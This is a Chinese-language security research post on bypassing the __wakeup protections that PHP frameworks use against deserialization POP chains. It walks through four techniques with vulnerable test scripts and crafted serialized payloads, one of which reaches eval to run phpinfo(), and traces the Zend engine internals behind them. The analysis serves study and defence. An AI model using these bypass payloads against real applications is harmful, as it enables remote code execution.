0x00 前言

在php的开源框架或者第三方库中,基本都存在反序列化利用链的问题,当然这需要反序列化入口去触发

而针对这些框架中存在的pop链的问题,基本上就三种处理方式

  • 不处理(单独的pop利用链并不能构成漏洞,案例:thinkphp框架)
  • __wakeup方法中将关键变量置空(案例:YII框架)
  • __wakeup方法中抛出异常(案例:guzzlehttp)

在反序列化的利用中,任何一个魔术方法就可能会被利用到,但是作为入口,基本上只有三个

  • __wakeup:反序列化时触发
  • __destruct:析构时触发
  • __toString:类对象被当成字符串使用时触发

在这三个利用,

最直接自然是__wakeup方法,如果pop链以此为入口,基本上不会存在什么限制

如果一个入口为__destruct方法,那么在执行过程中如果遇到致命错误,则不会再执行析构方法(php7,php5会继续执行),这也是guzzlehttp组件中的修复方式

__toString方法,同样不能在触发之前抛出致命错误

所以,针对于pop链的修复,一般都是基于__wakeup操作的

那么__wakeup存在哪些绕过的方式呢?

0x01 举例

第一种方式

  • 影响版本 php5

当反序列化字符串中,表示属性个数的值大于真实属性个数时,会跳过__wakeup函数的执行

此bug记录于php-bugs-72663

看下代码

1665303384514

这里就很明确,表示属性个数的值大于真实属性个数时,return 0,自然也不会调用下面的__wakeup方法

但是此时的对象rval已经被创建,所以当程序结束时,依然会执行析构方法

在高版本中,修复方式如下,会先判断__wakeup方法是否存在,如果存在就会先释放,再返回

1665303826150

场景测试代码

由于场景是针对于php5的,再php5中抛出异常,不会影响析构方法的执行如下

1665304755295

所以测试代码使用替换成员变量的值,测试代码如下,exit也并不会中断析构的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class A {
public $b;
public function __destruct(){
echo "__destruct was invoked, value: " . $this->b."\n";
}

public function __wakeup(){
$this->b = "";
exit("__wakeup was invoked\n");
}
}
echo PHP_VERSION . "\n";
var_dump(unserialize($_REQUEST['test']));

?>

正常的payload

1665304899633

当属性个数不一致时

1665304936765

当php版本为7.x时,并没有反序列化出来对象,也就是上面提到的,个属性个数不一致的时候被释放掉了

1665305140615

第二种方式

  • 由于是借用正常逻辑重新赋值,所以所有版本都可以

针对于这种在__wakeup中,将关键变量置空的修复方式,还可以进行二次赋值,这也是来自之前看过的一个实例

利用引用的形式再次覆盖掉成员变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class A {
public $a;
public $b;
public function __destruct(){
$this->a->close();
echo "__destruct was invoked, value: " . $this->b."\n";
}

public function __wakeup(){
$this->b = "";
}
}

class B {
public $c;
public $d;
public function close(){
$this->c = $this->d;
}
}
echo PHP_VERSION . "\n";

// $a = new A();
// $b = new B();
// $b->d = "test";
// $a->a = $b;
// $a->b = &$b->c;
// echo serialize($a);

var_dump(unserialize($_REQUEST['test']));

?>

当我们正常设置b的值

1
test=O:1:"A":2:{s:1:"a";O:1:"B":2:{s:1:"c";N;s:1:"d";s:4:"test";}s:1:"b";s:4:"test";}

1665305890938

如上面的代码中$a->b = &$b->c;,成员变量b的值将会被重新覆盖

1
test=O:1:"A":2:{s:1:"a";O:1:"B":2:{s:1:"c";N;s:1:"d";s:4:"test";}s:1:"b";R:3;}

1665305996480

第三种方式

  • 影响版本:php7、8
  • 限制入口类不能存在__wakeup方法

这种方式主要就是在成员变量的长度不一致的时候,__destruct方法会在__wakeup方法之前被调用

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class A{
public $info;
public function __destruct(){
$this->info->func();
}
}

class B{
public $end;
public function __wakeup(){
$this->end = "exit();";
echo '__wakeup';
}
public function __call($method, $args){
eval('echo "aaaa";' . $this->end . 'echo "bbb";');
}
}

unserialize($_POST['test']);

当长度不一致时

1
test=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:4:"end";s:1:"1";}

1665310440517

正常解析时

1665310464399

这个去跟一下底层的实现

这里用到了php的垃圾回收机制

官方给出的解释是当结构体(zval)的指向计数(refcount)减少到非0时,才会进入垃圾缓冲区(buffer),当缓冲区到达临界值(默认是10000,PHP7.3的临界值触发是100)时,会触发垃圾回收算法,该算法对缓冲区的疑似垃圾结构体进行遍历,把每个结构体的指向计数(refcount)减1,然后判断其(refcount)是否为0,如果是的话,就判定这个结构体是垃圾,并销毁

通过调试还可以发现,反序列化的操作是从前往后一点点完成的,什么意思呢

比如如下序列化数据在进行反序列化时,如果A类中不存在__wakeup方法(存在时属性不对,直接释放,上面提到了),这个时候A类以及info成员变量是可以成功反序列化的,只是在饭序列化end的时候,出现了错误,会报错Error at offset,但是报这个错误程序并不会退出,会继续往下执行

1
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:4:"end";s:1:"1";}

这里主要是通过php_var_unserialize函数进行反序列化的,接下来看看对比

当属性长度异常时,堆栈函数如下

1
2
3
4
5
6
php_var_unserialize
php_var_unserialize_internal
object_common1
object_init_ex
object_and_properties_init
zend_objects_new

可以看到实例化类时,类的refcount计数为1,就是这个实例化出来的类会触发垃圾回收

1665314082812

由于长度不正确,反序列的结果就是错误的(此时info变量条用的B类反序列化时正常完成了的)

1665314293199

然后就会出现,经常碰到的那个错误

1665314327440

最后进入PHP_VAR_UNSERIALIZE_DESTROY结构体处理销毁

这里面包含了所有需要销毁的变量,自然也包括info属性的B类,但是B类是正常的

在var_destroy方法中,可以看到A类的refoubd计数是1,B类的refound是3

1665314677599

跟进i_zval_ptr_dtor方法

1
2
3
4
5
6
7
8
9
10
11
static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr ZEND_FILE_LINE_DC)
{
if (Z_REFCOUNTED_P(zval_ptr)) {
zend_refcounted *ref = Z_COUNTED_P(zval_ptr);
if (!GC_DELREF(ref)) {
rc_dtor_func(ref);
} else {
gc_check_possible_root(ref);
}
}
}

看一下GC_DELREF结构体

1
2
3
4
5
6
#define GC_DELREF(p)				zend_gc_delref(&(p)->gc)

static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
ZEND_RC_MOD_CHECK(p);
return --(p->refcount);
}

所以A类会调用rc_dtor_func函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ZEND_API void ZEND_FASTCALL rc_dtor_func(zend_refcounted *p)
{
ZEND_ASSERT(GC_TYPE(p) <= IS_CONSTANT_AST);
zend_rc_dtor_func[GC_TYPE(p)](p);
}

static zend_always_inline zend_uchar zval_gc_type(uint32_t gc_type_info) {
return (gc_type_info & GC_TYPE_MASK);
}

static void ZEND_FASTCALL zend_object_destroy_wrapper(zend_object *obj)
{
zend_objects_store_del(obj);
}

调用A类的析构方法

1665314952277

此时已经执行完A类的析构方法了,但是上面的for循环此时的i值为0,当i=4的时候才会处理B类

所以此时的B类是未调用__wakeup方法的,当i=4的时候,调用__wakeup,但是A类的析构方法已经执行完成,且调用时的变量未被B类的__wakeup方法覆盖

1665315126436

这是序列化数据错误的时候执行顺序时

1
2
A->__destruct
B->__wakeup

当反序列化数据正确的时候,走的不再是var_destroy

会进入else分支

1665315507244

计数标识为2

1665315618364

调用完这个循环,已经执行了B类的__wakeup方法

然后就是程序的结束流程了,如下,就又到了上面析构的地方

1
zval_ptr_dtor

1665315802924

所以此时的执行顺序是

1
2
B->__wakeup
A->__destruct

从这里还能看出的是

  • 当A类出现错误,并不影响A类中成员变量是类对象的反序列化

比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class A{
public $info;
public $test = "222";

public function __destruct(){
echo $this->test;
}
}

class B{
public function __destruct(){
echo "__destruct\n";
}

}

var_dump(unserialize($_POST['test']));

虽然反序列化出来的的A是false,但是B中的代码已经执行了

1665316170333

第四种方式

这种是针对guzz

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class A{
public $info;
public function __destruct(){
echo $this->info."a";
}
}

class B{
public $end;
public function __destruct(){
if (isset($this->end)) {
call_user_func($this->end);
}
}

public function __wakeup(){
throw new \LogicException('FnStream should never be unserialized');
}

public function __toString(){
return call_user_func($this->end);
}
}

// $a = new A();
// $b = new B();
// $b->end = "phpinfo";
// $a->info = $b;
// echo serialize($a);

unserialize($_POST['test']);

直接反序列化B类时,这里B类首先抛出异常,上面说提到,在php7版本中,抛出致命错误将不在进行析构

1665310915677

入口点修改为A类,间接调用B类时,B类不再析构,但是A类会进行析构,并且因为B类抛出异常并没有析构,所以B类的成员变量的值,都是反序列化出来的值,当A类对其调用时,可以直接调用

1665311097237

0x02 end